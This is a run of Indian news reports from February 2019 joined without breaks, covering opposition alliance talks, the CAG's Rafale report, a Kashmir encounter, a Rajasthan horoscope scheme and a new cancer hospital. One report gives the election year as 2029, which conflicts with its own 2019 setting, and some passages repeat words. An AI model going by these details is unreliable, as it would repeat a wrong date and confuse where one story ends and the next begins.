The understanding could extend to the Aam Aadmi Party (AAP) and the Nationalist Congress Party (NCP), Naidu told reporters on the second day of his two-day protest in Delhi seeking special status for Andhra Pradesh that would give the state access to special central funds for development projects.

This is work in progress, he said, adding that the Bahujan Samaj Party (BSP) and the Samajwadi Party (SP) could also be part of the understanding, maybe even after the election.

Naidu, along with TDP MPs and state legislators, met Ramnath Kovind at Rashtrapati Bhavan on Tuesday and presented a memorandum to the President with 18 demands, including promises listed in the bifurcation act and special category status to the state, a promise, he said, Modi failed to keep.

Naidus approach to the anti-BJP alliance is perhaps reflected in his partys understanding with the Congress as far as Andhra Pradesh is concerned. The decision to not have an alliance with the grand old party in Andhra Pradesh was mutual, said a TDP?leader on the condition of anonymity.

It was assessed that a tie-up could hurt the electoral prospects of both the parties as it happened in Telangana, the TDP leader said.

The Congresss decision to go with the TDP in Telangana backfired and the Congress suffered a humiliating defeat at the hands of the ruling Telangana Rashtra Samithi (TRS). Voters had been wary of the TDP for staunchly opposing the 2014 bifurcation of Andhra Pradesh for the creation of Telangana .

They [Congress] could damage us in Andhra Pradesh, the way we hurt them in Telangana. So, both parties are fine with going alone in the upcoming [Andhra] assembly and Lok Sabha polls, the TDP leader added.

That will be the strategy in other states too, Naidu said.

While the Congress is averse to having an alliance with the Trinamool Congress (TMC) in West Bengal and the AAP in Delhi, Naidu has been trying hard to bring all the Opposition parties on one platform, insisting that the common goal is to oust the BJP in the Centre.

A second TDP leader said on condition of anonymity that there could be many friendly fights in Andhra, and even in West Bengal.

We can also think of a common minimum programme at the national level, this person added.

Andhra Pradesh will have simultaneous elections to the state assembly and the Lok Sabha.

Though the contest will be by and large triangular between the TDP, Congress and the YSR Congress Party of YS Jaganmohan Reddy, the BJP and movie star Pawan Kalyans Jana Sena are also trying to make their presence felt.

Reddy has stepped up pressure on the TDP over the unfulfilled demand for special category status to Andhra Pradesh.

Naidu walked out of the National Democratic Alliance (NDA) in March last year, protesting against the Centres refusal to grant special category status to Andhra Pradesh. Since then, he has taken the lead in stitching up an alliance of Opposition parties as an alternative to the BJP-led NDA. Naidu hopes to retain Andhra Pradesh and win enough Lok Sabha seats to have a voice in an anti-Modi coalition in the Centre. We will win at least 20 out of the 25 Lok Sabha seats from Andhra Pradesh, said Naidus son Nara Lokesh, who is a minister in his government. In yet another broadside against the BJP, opposition leaders are set to meet at a mega rally at Jantar Mantar in the national capital on Wednesday and seek to corner the Modi government on various issues. The rally is being organised by the Arvind Kejriwal-led AAP. Gopal Rai, AAP Delhi convenor, said West Bengal chief minister Mamata Banerjee, Naidu, former Prime Minister HD Deve Gowda, National Conference (NC) leader Farooq Abdullah and NCP chief Sharad Pawar would attend the rally. Leaders from the Samajwadi Party (SP), Dravida Munnetra Kazhagam (DMK), Rashtriya Janata Dal (RJD), Rashtriya Lok Dal (RLD) and other parties would address the rally, he said.Top Opposition leaders met in the capital on Wednesday and agreed to work together on the basis of a common minimum programme in an attempt to oust the Bharatiya Janata Party (BJP)-led National Democratic Alliance (NDA) in the national polls due this summer.

Aam Aadmi Party (AAP) chief Arvind Kejriwal and Congress president Rahul Gandhi were seen together for the first time at the meeting. AAP and Congress have been bitter rivals since Kejriwal came to power in Delhi in 2015.

Gandhi later told reporters that Opposition leaders agreed to put in place a common minimum programme. We will work together to defeat the BJP, he said after the meeting held at Nationalist Congress Party president Sharad Pawars residence.

Kejriwal called the talks constructive and said the Opposition will work together.

West Bengal chief minister Mamata Banerjee, who earlier in the day told an Opposition leaders rally that her Trinamool Congress (TMC) may be fighting the Left and Congress in her state but she would stand together with them at the national level, called the meeting fruitful. She added, We will do a pre-poll alliance.

Andhra Pradesh chief minister N Chandrababu Naidu said there was a democratic compulsion to save India while Farooq Abdullah of the National Conferences termed the meeting good.

The meeting came hours after Banerjee, for the first time, said she was open to working electorally with the Congress and arch-rival, the Communist Party of India (Marxist), in the national polls.

Congress, CPM will fight against us in Bengal but will be together nationally, Banerjee said at the rally at Delhis Jantar Mantar.

She said the situation in the country was worse than during the state of emergency imposed in the 1970s when the civil liberties were curbed. What will [Prime Minister Narendra] Modi do? Send me to jail, set agencies on us or murder us? We are not the ones to be afraid.

Banerjee led a sit-in last week against the Centre after the Central Bureau of Investigation (CBI) swooped on Kolkata police commissioners home as part of a probe into Ponzi schemes.

The standoff dovetailed with attempts by the BJP ito make inroads into West Bengal, which has the most Lok Sabha seats  42  after Uttar Pradesh (80) and Maharashtra (48).

Kejriwal, who led the rally, said: The reason (Prime Minister Narendra) Modi sent the CBI to Bengal was to ensure that every police officer in the country fears only Modi and not chief ministers. Modi has attacked Delhi too. Who attacks Delhi or Bengal? Only Pakistan. Is Modi Pakistans Prime Minister?.

Naidu said they were ready to defeat the government. Narendra Modi will be an ex-prime minister soon, he said.

Banerjee said whoever is strong wherever should fight in their areas. This way we will throw them out. The AAP should fight in Delhi, Samajwadi Party-Bahujan Samaj Party alliance in Uttar Pradesh, Chandrababu Naidu in Andhra, Banerjee said. We tell the Congress if you are strong in Chhattisgarh, Madhya Pradesh and Rajasthan, you should fight there. But where we are strong, do not let the BJP win, she said.

The other prominent Opposition leaders who attended the rally included Congresss Anand Sharma, Dravida Munnetra Kazhagams Kanimozhi, Farooq Abdullah, former Arunachal Pradesh chief minister Gegong Apang, Loktantrik Janata Dal leader Sharad Yadav, Pawar and Janata Dal (Secular) leader Danish Ali.

Political analyst Badri Narayan Tiwari of the Allahabad University said Banerjees announcement regarding her willingness to work with the Left and Congress will certainly create some new combinations of Opposition votes. They can go on to create a formidable alliance.

(With PTI inputs)The Congress has found its first partner to fight the general elections in Uttar Pradesh with the grand old party announcing on Wednesday an alliance with the little-known Mahan Dal which claims support among some backward classes in few pockets in central and western UP.

Priyanka Gandhi Vadra, Congress general secretary for eastern U.P. and Jyotiraditya Scindia, general secretary for western U.P. welcomed Mahan Dal chief Keshav Dev Maurya at the UPCC headquarters after making the announcement.

Priyanka asserted this was an attempt to realise the goal that Congress president Rahul Gandhi had set for them.

I welcome Mauryaji. Congress president Rahul Gandhi has given us a target of working for politics that gives representation to all classes and communities of the society. This is an attempt towards realising this goal. We want to strengthen this further to ensure fighting 2019 Lok Sabha elections with all our might and we will fight the poll with full force now, Priyanka said.

Mahan Dal will work with us for formation of a government at Centre that will work for the people, said Scindia.

Maurya said his party will work with the Congress in the polls and hold a rally with Scindia in Moradabad on February 24.

Rahul Gandhi had said Priyanka and Jyotiraditya Scindia have been sent on mission to the state to improve partys performance in Lok Sabha polls and form the next government in 2022 assembly elections in Uttar Pradesh.

The Congress had aligned with the Mahan Dal in 2009 and 2014 Lok Sabha elections too. After the SP-BSP alliance left the Congress out in the cold, the grand old party said it would contest all 80 seats, but did not rule out alliance with smaller parties.

On Tuesday, Akhilesh had said the Congress is part of the opposition alliance that his party has stitched in Uttar Pradesh against the BJP-led coalition for the upcoming Lok Sabha election. He said two seats were given to the Congress in the alliance.

The Congresss move has not come as a surprise to political observers, who feel the party may take more such steps to give a strong fight to the BJP.

SK Dwivedi, former head of the department (political science), Lucknow University, said, The Congresss main objective is to defeat the BJP in 2019 Lok Sabha elections. Besides bringing smaller parties together, the Congress is also going soft on the SP-BSP alliance. Congress president Rahul Gandhis statement that he respects SP chief Akhilesh Yadav and BSP chief Mayawati reflects this.

The party may explore the option of having an understanding with SP and BSP too.

Besides announcing the alliance, Priyanka and Scindia continued to hold closed door interactions with the partymen for the second day. Both the leaders are expected to conclude their interactions on Thursday. They may begin tours to Lok Sabha constituencies on February 18.

Priyanka has been in Lucknow since Monday to prepare the party in eastern Uttar Pradesh for the coming Lok Sabha elections after launching a massive roadshow for Mission UP in her first visit to the state since her appointment as Congress general secretary last month.

Uttar Pradesh which sends 80 lawmakers of the Lok Sabha is the bellwether state for any party which seeks to form a government at the Centre. The Congress won only two Lok Sabha seats in Uttar Pradesh in 2014

The Congress faces an uphill task given an almost total absence of organisational base in the state. The party had been trying to explore the possibilities of allying with some smaller caste-based outfits.

Last month, former SP leader Shivpal Singh Yadav, who has formed Pragatisheel Samajwadi Party (PSP) after leaving his parent party following differences with Samajwadi Party president Akhilesh Yadav, appointed a key party member to talk to the Congress and other secular parties for an alliance ahead of the general elections

Earlier Wednesday, Priyanka said she was interacting with the party workers to elicit their views on restructuring the organisation and changes needed to be made to win 2029 Lok Sabha elections.

I am learning a lot about how to restructure the organisation and the changes needed to be made in the road ahead. Im getting their views on how to fight these elections and win them, she said while replying to questions after holding marathon round of meetings that lasted nearly 16 hours from 1PM on Tuesday to about 5.30 AM on Wednesday.

Priyanka, who has been given charge of 41 Lok Sabha seats of east UP is interacting with party workers about the details of booths, votes polled, political situation and equations in their constituencies.

About her husband Robert Vadra being questioned by teh Enforcement Directorate, Priyanka said such things would keep on happening. I will keep doing my work. These things will keep on happening. I will keep doing my things, she said.Delhi Chief Minister and Aam Aadmi Party (AAP) convener Arvind Kejriwal has launched a veiled attack on the BJP-led government at the Centre ahead of a mega rally of opposition leaders in the national capital on Wednesday. Kejriwal invoked freedom fighters and the sacrifices made by them to give a call for unity against the Narendra Modi government.

In post on Twitter, Kejriwal wrote, Countless freedom fighters laid down their lives for our freedom and democracy. We cannot forget their sacrifices and remain silent to the tyranny of any dictator. Join us for the Save Democracy Satyagraha at the historic Jantar Mantar today afternoon.

The AAP plays host to more than 20 opposition party leaders, who are in Delhi to take part in Tanashahi Hatao, Desh Bachao (Remove Dictatorship, Save Country) rally at Jantar Mantar.

The rally is being held almost a month after West Bengal Chief Minister Mamata Banerjees mega opposition rally in Kolkatas Brigade Parade. This is the second such rally of the opposition parties to show their strength ahead of the Lok Sabha election this summer.

The AAP is hoping to recreate the anti-Modi movement in Delhi with its rally that was seen in West Bengal chief minister Mamata Banerjees show in Kolkata on January 19. The aim is to recreate the anti-Modi movement in Delhi that was seen in the...rally organised by Banerjee last month in West Bengal. She [Banerjee] herself is coordinating with non-BJP parties for the participation of their leadership in this...movement, said Gopal Rai, the AAPs Delhi unit convener.

Kejriwal, Banerjee, N Chandrababu Naidu of Andhra Pradesh and HD Kumaraswamy of Karnataka are the four serving chief ministers who will address the rally. The AAP has invited Congress president Rahul Gandhi to attend its mega rally in the national capital, partys Sanjay Singh told PTI. Gandhi had not attended the Kolkata rally.

Sharad Pawar, Sharad Yadav, Tejashwi Yadav, Akhilesh Yadav, Mayawati, Mamata Banerjee, MK Stalin, Chandrababu Naidu are among other invited for the rally, Rai said. She [West Bengal CM Banerjee] is coordinating with the same parties and leaders who were invited for last months rally, he said.

There were talks of an alliance between the AAP and the Congress for the Lok Sabha polls, but the local leadership of the grand old party is believed to have been against it. The AAP and the Congress have been bitter rivals in Delhi and Punjab.

The January 19 rally in Kolkata, where the opposition bloc vowed to oust the Modi government, was attended by at least 18 parties. Kejriwal, Chandrababu Naidu, Kumaraswamy, National Conferences Omar Abdullah and the Samajwadi Partys Akhilesh Yadav, among others, shared the stage with Banerjee. The event was also attended by former Union ministers Yashwant Sinha, Arun Shourie and BJP parliamentarian Shatrughan Sinha.

In a statement released on Sunday, the AAP said the elected governments of non-BJP parties have been targeted by the central government, which has made a mockery of the federal structure of the Constitution.

Modi government has crossed all limits through blatant misuse of central agencies to throttle political opponents and it has no respect for the rule of law. All those who want to save the country from this dictatorial duo should come forward to safeguard democracy, the party said.A top Hizbul Mujahideen militant who helped Pakistani terrorist commander Naveed Jutt escape from a hospital last year while he was in police custody was killed in south Kashmirs Pulwama district on Tuesday in an encounter that also left one soldier dead and another injured.

The encounter took place when army soldiers and the special operation group of Jammu and Kashmir police were conducting a search in Pulwamas Ratnipora late Monday night after receiving information about the presence of a group of militants in the village, the police said. As the troops came close to the house where the militants were holed up, the men inside opened fire, triggering the gunfight that continued through the night.

The militant killed in the operation, which ended on Tuesday afternoon, was identified as Hilal Ahmad Rather of Behgambagh Kakapora, located five kilometres from the encounter site.

Police said that he was affiliated to the Hizbul Mujahideen and had joined militant ranks in 2018. The slain army soldier was identified as Havaldar Baljeet Singh of Karnal, Haryana, who was part of the 50 Rashtriya Rifles unit.

Rather was involved in the escape of Jutt from SMHS Hospital in Srinagar in February last year, a police spokesman said. The militants who helped Jutt escape shot dead two policemen who were escorting Jutt, who was finally killed in November on the outskirts of Srinagar.

Rather had a long history of terror crime and was wanted by law [enforcement agencies] for his complicity in a series of terror crimes including attacks on security establishments... a case was registered against him, which pertains to the terrorist attack inside the premises of SMHS hospital, the police spokesman said.

The body of the militant was handed over to his family and buried in his village amid pro-freedom slogans. Officials have suspended mobile internet services in the area.

On Sunday, five militants of the Hizbul Mujahideen and the Lashkar-e-Taiba were killed in an encounter in Kilam village of Kulgam district. Last week, a Lashkar district commander was also killed by security forces in Chookara village of Pulwama in a brief encounter.

So far this year, 26 militants, including Rather, have been killed in encounters with security forces, mainly in south Kashmir.The length of time that state-owned Hindustan Aeronautics Limited (HAL) would have required to build French-made Rafale fighter jets in India and questions about the quality of the warplanes it would produce caused a stalemate in negotiations with Dassault Aviation (DA) that dragged on for nearly a decade, the Comptroller and Auditor General of India (CAG) said in a report presented in Parliament on Wednesday.

Five years after the bids, and after three years of [price] negotiations, there was no finalization of a deal because of these twin issues, the CAG report said.

The Opposition, in particular the Congress, has underlined that not manufacturing the fighter planes in India was a national loss. The Congress party has accused the government of deliberately leaving HAL out of the deal.

Bengaluru-based HAL was to manufacture 108 of the fighter jets in India and 18 were to be delivered in a flyaway condition by Dassault under the deal the United Progressive Alliance (UPA) government led by Manmohan Singh negotiated in 2007. In 2015, the deal was scrapped by the National Democratic Alliance (NDA) government led by Narendra Modi, which decided to buy 36 fighters in a flyaway condition instead.

Giving a detailed account of the stalemate, the CAG report said Dassault claimed it would take 31.2 million man-hours to produce the 108 fighters. But, at the time of Bench Marking in June 2011, HAL had stated that the French man hours had to be converted to Indian man hours by multiplying quoted man hours by a factor of 2.7, the CAG observed. The auditor noted that the manpower cost in India would have been several times higher.

Interestingly, the requirement of more man-hours when arriving at the benchmark price  an indicative price that is used as a guide for price negotiations  was overlooked. This created difficulties during negotiations later with Dassault, which was no longer the L-1 (lowest price) bidder, the CAG observed.

The defence ministrys plea that man-hour factor required by HAL was not on basis of scientific rationale and therefore ignored was rejected by CAG. Audit noted that the reply of the Ministry is silent on the manner the bid of M/s DA was evaluated, CAG noted.

Dassault also refused to guarantee the quality of the fighters manufactured by HAL.

During CNC (Contract Negotiations) M/s DA took the position that the firm was only responsible for delivery of 18 direct flyway aircraft, CAG observed.

The original tender by India had said the vendor ( in this case Dassault Aviation) should guarantee the performance of the product to design specifications, at the production agency or customer locations.

The two issues -- extra man-hours required by HAL and Dassaults refusal to guarantee the quality of fighters produced in India --led to the stalemate in negotiations, the CAG report observed.

It takes time to absorb new technology, there is something called a learning curve. As we manufacture more of certain type of equipment, the learning curve would tend match that of the manufacturer, Air Chief Marshal S Krishaswamy (retd) said on the larger man-hour requirement of HAL.

He also said the original equipment manufacturer could not perhaps have taken responsibility for products manufactured in India.The Rajasthan government is working on a proposal to provide horoscopes to all babies born in state-run and private hospitals and suggest a name for them based on their Hindu astrological sign, according to a copy of the proposal accessed by HT.

In the first phase of the plan, the scheme will be rolled out in five government hospitals in Jaipur where newborns will be given horoscopes free of cost. In the second phase, government hospitals will charge Rs 51, and private hospitals, Rs 101, for each horoscope.

Rajasthan is home to 16,728 government hospitals and 54 registered private hospitals.

The Congress party, which came to power in Rajasthan, had promised, in its 2018 Assembly election manifesto, to promote Sanskrit education and the Sanskrit language, and to set up a vedic rituals and education board in the state. The handout of horoscopes is part of an effort to fulfil that promise, according to the proposal.

A meeting on the proposal was held on January 3, following which the Jaipur-based Jagadguru Ramanandacharya Rajasthan Sanskrit University (JRRSU) was asked to firm up the plan.

According to the proposal, the scheme may be called Rajiv Gandhi Janmapatri-Namkaran Yojana and will help promote vedic rituals and aid parents of newborns in naming their children according to traditions.

The scheme will help in promotion of Sanskrit and vedic knowledge and provide employment to at least 3,000 astrologers, the proposal reads.

These astrologers should have a degree or diploma in astrology and will get a licence from the state government or the JRRSU, the proposal says. After the second phase is rolled out, the astrologers will be paid Rs 40 in government hospitals and Rs 80 in private hospitals for every horoscope they prepare. JRRSU will get the remaining Rs 11 and Rs 21, respectively.

As a pilot, the scheme will be implemented in Jaipurs Zenana Hospital, Mahila Chikitsalaya, Kanwatiya Hospital, Jaipuria Hospital and Sethi Colony Satellite Hospital.

Each horoscope will have a unique code, using which the parents can later download detailed analysis from the universitys website after paying Rs 200.

The scheme will be implemented by JRRSU, and Sanskrit education, medical and health, statistics and social justice and empowerment departments will be part of it.

An officer of the Sanskrit education department, requesting anonymity, said the scheme was still in a very initial stage. JRRSU registrar, Ashok Sharma, said the university had made the proposal, but refused to elaborate.

Former education minister and Bharatiya Janata Party MLA, Vasudev Devnani, welcomed the proposal. It is a good move in the direction of promoting vedic knowledge and Indian culture, he said.

Sanskrit scholar, Shastri Kosalendradas, said: Planets have an impact on all aspects of a humans life. This is a proven by Indian shastra traditions. The governments plan will not only underline the importance of astrology among the common people; it will also create new job opportunities.

SHARE THIS ARTICLE ONUPA chairperson Sonia Gandhi on Wednesday praised her son and Congress president Rahul Gandhi for bringing fresh energy to the party and working tirelessly.

Addressing the Congress Parliamentary Partys general body meeting on Wednesday, Sonia Gandhi said, Our new president has put together a team which blends experience and youth well. He has worked tirelessly and has also reached out to other political parties who share our vision of India, she said.

Sonia Gandhi targeted the Narendra Modi government at Centre for hounding political opponents and suppressing dissent. Bluff, bluster and intimidation have been the governance philosophy of the Modi government, Sonia Gandhi said at the party meet which was attended by former prime minister Manmohan Singh, Congress leader in Lok Sabha Mallikarjun Kharge and Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad among others.

Also read: Bluff, bluster and intimidation: Sonia Gandhi lashes out at Modi govt

She expressed renewed confidence and resolve for the Lok Sabha polls following victories in Rajasthan, Chhattisgarh and Madhya Pradesh assembly elections.

Sonia Gandhi alleged that there is an all-pervasive atmosphere of fear and strife across the country. We go to the forthcoming Lok Sabha polls with renewed confidence and resolve. Our victories in Rajasthan, Chhattisgarh and Madhya Pradesh have given us new hope, she said .

UPA Chairperson Smt. Sonia Gandhi's full speech from the joint meeting of the Lok Sabha & Rajya Sabha CPP in Parliament earlier today. pic.twitter.com/vwlMvYqKHC  Congress (@INCIndia) February 13, 2019

The UPA chairpersons comments have come at a time when Congress president Rahul Gandhi is leading a charge against the charge against the Modi government over the issues of alleged corruption in Rafale deal, unemployment and farm distress among others.

Unemployment, Demonetisation Scam and Rafale corruption have undermined the Modi governments credibility, said Rahul Gandhi, who also addressed the Congress meet.

Also read:PM Modi acted like a spy, says Rahul Gandhi in new Rafale attack, triggers sharp rebuttalThe Supreme Court on Wednesday set aside an October 2018 Bombay High Court order that granted default bail to lawyer Surendra Gadling, former Nagpur University professor Shoma Sen, activists Sudhir Dhawale, Mahesh Raut and Rona Wilson in the 2018 Bhima Koregaon case.

The accused were granted default bail by the Bombay High Court after the Pune police, which had arrested them in connection with the Bhima Koregaon violence, was unable to complete investigations and file a chargesheet within the stipulated period of 90 days under the Unlawful Activities (Prevention) Act, 1967.

A three-judge bench of the Chief Justice of India Ranjan Gogoi, Justice L Nageshwar Rao and Justice S K Kaul on Wednesday held that the accused can now seek regular bail from the trial court as the Maharashtra police have filed the charge sheet.

The Maharashtra government had filed two petitions in the Supreme Court challenging the high court order refusing to give 90 days extension to the police for filing the chargesheet and granting default bail to the accused.

Senior advocate Mukul Rohatgi, appearing for the Maharashtra government, said there was sufficient material with the police to seek an extension of time to investigate the case further.

The Maharashtra Police alleged, the accused had held a meeting where active members of the banned Communist Party of India (Maoist) supposedly raised inflammatory slogans and engaged in certain other allied activities, with the intention to conspire, incite and abet the commission of terrorist acts and other unlawful activities by using violent means, leading to the Bhima Koregaon violence on January 1 last year.

Dalits gather at Bhima Koregaon, near Pune, every New Years Day to commemorate the 1818 victory of lower-caste Mahar soldiers in the British Army over the forces of the Brahmin Peshwa-led Maratha Empire.Congress president Rahul Gandhi, UPA chairperson Sonia Gandhi, former Prime Minister Manmohan Singh joined a protest outside Parliament on Wednesday morning against the Rafale deal. The Congress lawmakers were seen carrying paper planes and posters, alleging corruption in the multi-crore aircraft deal.

The protest came just before a report by the Comptroller and Auditor General (CAG) was tabled in the Rajya Sabha. The opposition raised slogans as soon as the CAG report was tabled in the Rajya Sabha. Following the ruckus, the House was adjourned. (Follow live updates)

The CAG report said the NDA governments deal to purchase 36 Rafale aircraft saved money compared to the UPAs deal to buy 126 fighter jets.

The report says India managed to save 17.08% money for the India Specific Enhancements in the Rafale contract. The overall price of the aircraft is 2.86 per cent cheaper as compared to the UPA-era deal, the CAG report adds.

Also read: Rafale jets 2.9 per cent cheaper than UPA-era deal, says CAG report tabled in Parliament

The Congress has questioned the CAG report on Rafale deal raising the issue of conflict of interest with Rajiv Mehrishi, the current CAG. Mehrishi was the finance secretary when the Rafale deal was being negotiated between India and France.

Mallikarjun Kharge, the Congress leader in the Lok Sabha, said, There is a conflict of interest. The man who was then a negotiator is now preparing the report. The man who was then a negotiator is now preparing the report.

Also read: Satyamev Jayate: Arun Jaitley attacks Rahul Gandhi over CAGs Rafale report

The scrapping of the UPA deal to buy 126 aircraft became controversial with opposition parties, led by the Congress, alleging that the new price is much higher than the old one, and that due process wasnt followed. The government has maintained that it has managed to get the basic jet at a lower cost, and that all procedures were followed.

The issue was even reached the doors of the Supreme Court, which did not find any substance in the allegations, although its ruling didnt put an end to the controversy because of some factual errors in the judgment, which, the government claims, are on account of misinterpretation and, the Opposition claims, arise from the government misleading the court. The government has filed an application to correct the mistakes.Congress president Rahul Gandhi has fired a fresh salvo at Prime Minister Narendra Modi over Rafale deal. Gandhi on Wednesday contended that PM Modi defended his personal Rafale bypass deal with arguments that the new price for the fighter jets is lower than the one proposed during the Congress-led UPA regime and that the delivery will be faster.

Citing a media report, Gandhi said both arguments have been demolished. In teaser post on Twitter, he wrote, The PM defended his personal RAFALE bypass deal on 2 counts: 1. Better Price, 2. Faster Delivery. Both have been demolished by the revelations in the Hindu today.

A report published by The Hindu, claimed that the Rafale deal negotiated by the Modi government was not on better terms than the one being discussed during the UPA rule. The report cites conclusion arrived at by three of the seven-member Indian Negotiating Team (INT) that to counter the governments claim on better pricing and faster delivery of Rafale jets.

The report quoted the three domain experts as stating in their conclusion, the reasonability of price offered by the French Government is not established. Even the final price offered by the French Government cannot be considered as better terms compared to the MMRCA [medium multi-role combat aircraft] offer and therefore not meeting the requirement of the Joint Statement.

On the front of faster delivery, it said, the delivery schedule of even the first 18 of the 36 flyaway Rafale aircraft in the new deal was slower than the one offered for the 18 flyaway aircraft in the original procurement process.

Gandhi has used the report to target the Modi government over Rafale deal, an assessment of which by the Comptroller and Auditor General (CAG) would be tabled in Parliament. The Congress has questioned the CAG report on Rafale deal raising the issue of conflict of interest with CAG Rajiv Mehrishi.

Mallikarjun Kharge, the Congress leader in the Lok Sabha, said, There is a conflict of interest. The man who was then a negotiator is now preparing the report. The man who was then a negotiator is now preparing the report.

Mehrishi was the finance secretary when the Rafale deal was being negotiated between India and France.

Earlier on Tuesday, Gandhi had launched a scathing attack on PM Modi alleging that he acted like a spy in Rafale deal with the intention to benefit an industrialist, whose defence firm subsequently got an off-set contract from the Dassault Aviation, the manufacturer and supplier of the fighter jets.

India and France signed an inter-governmental agreement in 2016 for the purchase of 36 Rafale fighter jets in flyaway condition. During the UPA regime, a deal was under negotiation for the purchase of 126 Rafale jets including 18 in flyaway condition.The French made 36 Rafale fighters bought by the Modi-led NDA government are 2.86 percent cheaper than the price negotiated by the Manmohan Singh-led UPA government, the Comptroller and Auditor General of India (CAG) has said in its report tabled in Parliament today.

The report, however, said that Dassault Aviation  the manufacturer of the fighters  had benefited because it did not have to pay for a bank guarantee in the current deal compared to the 2007 UPA-era deal.

Therefore, these savings to the vendor would have to be factored in. The total savings accruing to the vendor (Dassault Aviation) by not having to pay these bank charges should have been passed on to the ministry, the report by the governments top auditor said.

Read: Live updates from Parliament

The CAG report has become the latest point of confrontation between the government and the opposition over the Rafale deal, with the Congress alleging a conflict of interest. The party had said Rajiv Mehrishi, the current CAG of India, was part of the decision making process for the Rafale deal. Mehrishi was the finance secretary when the Rafale deal was signed.

Senior BJP leader Arun Jaitley was the first to react to the CAG report, asserting that the audit report had exposed the lies of the Congress and the grand alliance that opposition parties are trying to stitch.

The audit report compared the 2007 and 2015 purchase agreement - using the price of 18 fighters that were to be bought in a flyaway condition in the 2007 deal.

The CAG report concluded that the current deal is cheaper on three counts and costlier on four counts. Therefore, on the whole, the contact of 2016 can be said to have been concluded at 2.86 percent less than the price previous offer

The report, however, stressed that there is no difference in the price of the base aircraft negotiated by previous government and Modi government.

India Specific Enhancements  like helmeted mounted displays, better radars etc  negotiated by the Modi government, however, are 17 percent cheaper than the previous deal. The cost of engineering support and the price paid for keeping the fleet air  Performance Based Logistic (PBL)  was, however, 6 percent higher.

Also read: Demolished: Rahul Gandhi counters PM Modi over Rafales better price, faster delivery

Congress president Rahul Gandhi hasnt reacted to the report yet. But hours before the report was tabled, Rahul Gandhi cited a media report to fire a fresh salvo at Prime Minister Narendra Modi over Rafale deal.

Gandhi said that PM Modi had defended his personal Rafale bypass deal with arguments that the new price for the fighter jets is lower than the one proposed during the Congress-led UPA regime and that the delivery will be faster.

Citing a media report, Gandhi said both arguments have been demolished. In teaser post on Twitter, he wrote, The PM defended his personal RAFALE bypass deal on 2 counts: 1. Better Price, 2. Faster Delivery. Both have been demolished by the revelations in the Hindu today.

A report published by The Hindu, claimed that the Rafale deal negotiated by the Modi government was not on better terms than the one being discussed during the UPA rule. The report cites conclusion arrived at by three of the seven-member Indian Negotiating Team (INT) that to counter the governments claim on better pricing and faster delivery of Rafale jets.

The ruling BJP, in turn, accused the Congress of attacking the institution of the CAG. Congress president Rahul Gandhi has defended his partys stand.

We are not questioning the institution. But the gentleman who is preparing CAG report was part of this decision-making process, Rahul Gandhi had said at an recent press conference.

Bahujan Samaj Party chief Mayawati said the report was not fully correct. The much awaited CAG report on Rafale tabled in Rajya Sabha is neither complete nor fully correct in the eyes of public. Why constitutional bodies are under stress, and not able to work with full honesty in the BJP government. Country is worried, she tweeted.Union minister Arun Jaitley launched a scathing attack on the opposition on Wednesday over its allegations against the government on the Rafale aircraft deal. Jaitley said the report by the comptroller and auditor general (CAG), which was tabled in the Rajya Sabha on Wednesday, exposed the lies of the opposition.

The CAG report says compared to the UPA governments deal for 126 Rafale aircraft, India managed to save 17.08% costs for the India Specific Enhancements in the 36 Rafale contract by the NDA government. (Follow live updates)

Arun Jaitley said the Congress and its boss Rahul Gandhi cant always be right and everyone else be wrong. The lies of mahajhootbandhan stand exposed by the CAG report. It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right. Jaitley tweeted.

Also read: Rafale jets 2.9 per cent cheaper than UPA-era deal, says CAG report tabled in Parliament

He said the NDAs Rafale deal offered lower price, faster delivery, better maintenance and lower escalation when compared to the one by the UPA government. Satyameva Jayate  the truth shall prevail. The CAG Report on Rafale reaffirms the dictum, Jaitley added.

Hours before the CaG report was tabled in the House, Congress boss Rahul Gandhi, UPA chief Sonia Gandhi, former prime minister Manmohan Singh and other senior Congress leaders protested against the Rafale deal outside Parliament.

Also read: Bluff, bluster and intimidation: Sonia Gandhi lashes out at Modi govt

Rahul Gandhi tweeted that Prime Minister Narendra Modi defended his personal Rafale bypass deal with arguments that the new price for the fighter jets is lower than the one proposed during the Congress-led UPA regime and that the delivery will be faster. Citing a media report, Rahul Gandhi said both arguments have been demolished.

On Tuesday, Rahul Gandhi had rejected the CAG report and dubbed it Chowkidar Auditor General report. The BJP had hit back saying that the Congress has a tendency to target institutions when their stand does not suit them.

Also read: Demolished: Rahul Gandhi counters PM Modi over Rafales better price, faster delivery

The Congress has said that the current CAG, Rajiv Mehrishi was part of the decision making process for the Rafale deal. Mehrishi was the finance secretary when the Rafale deal was signed. Mallikarjun Kharge, the Congress leader in the Lok Sabha, said, There is a conflict of interest. The man who was then a negotiator is now preparing the report. The man who was then a negotiator is now preparing the report.Indias largest government-run cancer hospital was inaugurated at the All India Institute of Medical Sciences (AIIMS) campus in Haryanas Jhajjar by Prime Minister Narendra Modi via video conference on Tuesday.

The 710-bed National Cancer Institute (NCI) is spread over 35 acres of the 300-acre campus. Of the total beds, 250 are operational from the departments of surgery, medical oncology, radiation and palliative care.

Fifty patients are already admitted in the hospital and we have been seeing about 30-40 patients in our OPD every day. The hospital also has one of the largest labs in Asia that can test about 60,000 samples in a day and even give results within two hours, said Dr GK Rath, head, NCI, which partially opened its OPD services in December.

The hospital that is expected to be fully operational by 2020, will be an apex centre for not just cancer treatment but also translational research in India-specific cancers, with focus on cancer prevention.

Being developed in a phased manner, NCI made its 250 beds operational in December last year, as first of the three phases planned. The second phase will see more beds added by December 2019, and the last phase will be completed by December 2020.

The foundation stone for the Rs 2,035 crore project was laid on January 3, 2014.

After the NDA government took over, there was a bhoomi pooja held on December 12, 2015, by Union health minister JP Nadda, who labelled it as Independent Indias largest government-funded hospital project.

The institute has been modelled after the National Cancer Institute (NCI) of the USA and the government had entered into an MoU with NCI USA in October 2014. It is developed as the premier Institution for all activities related to cancer in the country and will have the linkages with all cancer centres within the country.

To increase the tertiary care facilities in cancer, the government is supporting the establishment of 20 State Cancer Institutes (SCIs) and 50 Tertiary Care Cancer Centres (TCCCs) in different parts of the country, to mentor all cancer-related activities in their respective areas.

The National Cancer Centre will act as an apex body for the network of the SCIs and TCCCs and shall develop and mentor cancer-related activities. The NCI has also collaborated with the Ayush ministry for research into the role of Indian systems of medicine in cancer prevention and cure.Congress president Rahul Gandhi on Wednesday stepped up his attack on the Narendra Modi government saying that the report of the Comptroller and Auditor General (CAG) on the Rafale deal makes it clear that the Narendra Modi government misled Parliament over the issue.

